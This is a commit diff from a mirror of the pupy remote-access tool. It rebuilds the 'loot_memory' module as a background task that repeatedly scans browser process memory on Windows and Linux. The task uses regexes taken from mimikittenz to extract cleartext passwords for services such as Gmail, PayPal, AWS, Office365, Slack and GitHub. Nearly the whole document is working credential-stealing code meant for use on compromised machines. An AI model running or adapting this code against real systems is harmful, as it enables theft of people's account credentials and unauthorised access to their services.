mirror of https://github.com/n1nj4sec/pupy.git
loot_memory rebuild using the hasmon module
This commit is contained in:
parent
7a4513e002
commit
8d2b071684
|
@ -6,19 +6,37 @@ __class_name__="LootMemory"
|
|||
|
||||
@config(cat="creds", compat=["windows", "linux"])
|
||||
class LootMemory(PupyModule):
|
||||
"""
|
||||
crawl processes memory and look for cleartext credentials
|
||||
"""
|
||||
dependencies=['memorpy', 'loot_memory']
|
||||
'''
|
||||
Crawl processes memory and look for cleartext credentials
|
||||
'''
|
||||
unique_instance = True
|
||||
dependencies = ['memorpy', 'loot_memory']
|
||||
|
||||
@classmethod
|
||||
def init_argparse(cls):
|
||||
cls.arg_parser = PupyArgumentParser(prog='loot_memory', description=cls.__doc__)
|
||||
cls.arg_parser.add_argument('-p', '--poll', default=20, type=int, help='Poll interval (seconds)')
|
||||
cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
|
||||
|
||||
def run(self, args):
|
||||
with redirected_stdio(self):
|
||||
loot=self.client.conn.modules["loot_memory"].dump_browser_passwords()
|
||||
for browser, dic in loot.iteritems():
|
||||
self.info("%s crawled :"%browser)
|
||||
for i, passwords in dic.iteritems():
|
||||
self.success("%s:\n\t%s"%(i, '\n\t'.join(passwords)))
|
||||
start = self.client.remote('loot_memory', 'start')
|
||||
stop = self.client.remote('loot_memory', 'stop', False)
|
||||
dump = self.client.remote('loot_memory', 'dump')
|
||||
|
||||
if args.action == 'start':
|
||||
ok = start(poll=args.poll)
|
||||
if ok:
|
||||
self.success('PwdMon has been started')
|
||||
else:
|
||||
self.error('PwdMon has not been started')
|
||||
|
||||
elif args.action == 'dump':
|
||||
results = dump()
|
||||
if results is None:
|
||||
self.error('PwdMon is not started')
|
||||
else:
|
||||
for proc, service, pwd in results:
|
||||
self.success('[{}][{}]{}'.format(proc, service, pwd))
|
||||
|
||||
elif args.action == 'stop':
|
||||
stop()
|
||||
|
|
|
@ -7,75 +7,119 @@ This script uses memorpy to dumps cleartext passwords from browser's memory
|
|||
It has been tested on both windows 10 and ubuntu 16.04
|
||||
The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz
|
||||
"""
|
||||
import psutil
|
||||
import pupy
|
||||
import sys
|
||||
import time
|
||||
|
||||
from memorpy import MemWorker, ProcessException
|
||||
|
||||
import psutil
|
||||
import sys
|
||||
|
||||
#from https://github.com/putterpanda/mimikittenz
|
||||
mimikittenz_regex=[
|
||||
("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie="),
|
||||
("Dropbox","login_email=.{1,99}&login_password=.{1,99}&"),
|
||||
("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login="),
|
||||
("Office365","login=.{1,32}&passwd=.{1,22}&PPSX="),
|
||||
("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT="),
|
||||
("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name"),
|
||||
("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1="),
|
||||
("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText"),
|
||||
("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}"),
|
||||
("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit"),
|
||||
("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken="),
|
||||
("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe="),
|
||||
("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit="),
|
||||
("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me="),
|
||||
("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent="),
|
||||
("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled"),
|
||||
("Malwr","&username=.{1,32}&password=.{1,22}&next="),
|
||||
("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json"),
|
||||
("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login"),
|
||||
("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}"),
|
||||
("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType"),
|
||||
("JIRA","username=.{1,50}&password=.{1,50}&rememberMe"),
|
||||
("Redmine","username=.{1,50}&password=.{1,50}&login=Login"),
|
||||
("Github","%3D%3D&login=.{1,50}&password=.{1,50}"),
|
||||
("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}"),
|
||||
("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}"),
|
||||
("Cpanel","user=.{1,50}&pass=.{1,50}"),
|
||||
]
|
||||
def dump_browser_passwords():
|
||||
# start_time=time.time()
|
||||
loot={}
|
||||
if sys.platform=="win32":
|
||||
browser_list=["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"]
|
||||
else:
|
||||
browser_list=["firefox", "iceweasel", "chromium", "chrome"]
|
||||
for proc in psutil.process_iter():
|
||||
try:
|
||||
if proc.name().lower() in [x.lower() for x in browser_list]:
|
||||
browser=proc.name()
|
||||
print "process found: %s"%browser
|
||||
def start(poll=20):
|
||||
if pupy.manager.active(PwdMon):
|
||||
return False
|
||||
|
||||
try:
|
||||
pupy.manager.create(
|
||||
PwdMon
|
||||
)
|
||||
except:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def dump():
|
||||
mon = pupy.manager.get(PwdMon)
|
||||
if mon:
|
||||
return mon.results
|
||||
|
||||
def stop():
|
||||
mon = pupy.manager.get(PwdMon)
|
||||
if mon:
|
||||
pupy.manager.stop(PwdMon)
|
||||
return mon.results
|
||||
|
||||
|
||||
class PwdMon(pupy.Task):
|
||||
def __init__(self, manager, poll=60):
|
||||
super(PwdMon, self).__init__(manager)
|
||||
self.duplicates = set()
|
||||
self.poll = poll
|
||||
|
||||
if sys.platform == "win32":
|
||||
self.browser_list = ["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"]
|
||||
else:
|
||||
# self.browser_list = ["firefox", "iceweasel", "chromium", "chrome"]
|
||||
self.browser_list = ["firefox"]
|
||||
|
||||
# from https://github.com/putterpanda/mimikittenz
|
||||
self.mimikittenz_regex = [
|
||||
("Google","identifier=.{1,99}&continue=.{1,99}&password=.{1,99}&"),
|
||||
("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie="),
|
||||
("Dropbox","login_email=.{1,99}&login_password=.{1,99}&"),
|
||||
("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login="),
|
||||
("Office365","login=.{1,32}&passwd=.{1,22}&PPSX="),
|
||||
("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT="),
|
||||
("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name"),
|
||||
("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1="),
|
||||
("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText"),
|
||||
("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}"),
|
||||
("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit"),
|
||||
("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken="),
|
||||
("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe="),
|
||||
("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit="),
|
||||
("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me="),
|
||||
("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent="),
|
||||
("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled"),
|
||||
("Malwr","&username=.{1,32}&password=.{1,22}&next="),
|
||||
("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json"),
|
||||
("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login"),
|
||||
("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}"),
|
||||
("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType"),
|
||||
("JIRA","username=.{1,50}&password=.{1,50}&rememberMe"),
|
||||
("Redmine","username=.{1,50}&password=.{1,50}&login=Login"),
|
||||
("Github","%3D%3D&login=.{1,50}&password=.{1,50}"),
|
||||
("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}"),
|
||||
("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}"),
|
||||
("Cpanel","user=.{1,50}&pass=.{1,50}"),
|
||||
]
|
||||
|
||||
def dump_browser_passwords(self):
|
||||
|
||||
for proc in psutil.process_iter():
|
||||
if proc.name().lower() in [x.lower() for x in self.browser_list]:
|
||||
try:
|
||||
mw=MemWorker(pid=proc.pid)
|
||||
mw = MemWorker(pid=proc.pid)
|
||||
except ProcessException as e:
|
||||
print e
|
||||
continue
|
||||
loot[browser]={} # browser found
|
||||
for service, regex in mimikittenz_regex:
|
||||
for x in mw.mem_search(regex, ftype='re'):
|
||||
try:
|
||||
passwd=x.read(type="string", maxlen=100, errors='ignore')
|
||||
if service not in loot[browser]:
|
||||
loot[browser]={service: [passwd]}
|
||||
else:
|
||||
loot[browser][service].append(passwd)
|
||||
except Exception as e:
|
||||
print e
|
||||
pass
|
||||
except Exception as e:
|
||||
print e
|
||||
#print "All passwords dumped in %ss"%(time.time()-start_time)
|
||||
return loot
|
||||
|
||||
if __name__=="__main__":
|
||||
print dump_browser_passwords()
|
||||
for service, regex in self.mimikittenz_regex:
|
||||
try:
|
||||
for x in mw.mem_search(regex, ftype='re'):
|
||||
passwd = None
|
||||
if type(x) == tuple:
|
||||
for i in x:
|
||||
try:
|
||||
passwd = i.read(type="string", maxlen=100, errors='ignore')
|
||||
except Exception as e:
|
||||
continue
|
||||
else:
|
||||
try:
|
||||
passwd = x.read(type="string", maxlen=100, errors='ignore')
|
||||
except Exception as e:
|
||||
pass
|
||||
|
||||
if passwd:
|
||||
result = (proc.name(), service, passwd)
|
||||
if result not in self.duplicates:
|
||||
self.duplicates.add(result)
|
||||
yield result
|
||||
except Exception as e:
|
||||
continue
|
||||
|
||||
def task(self):
|
||||
while self.active:
|
||||
for proc, service, pwd in self.dump_browser_passwords():
|
||||
self.append((proc, service, pwd))
|
||||
|
||||
time.sleep(self.poll)
|
||||
|
|
Loading…
Reference in New Issue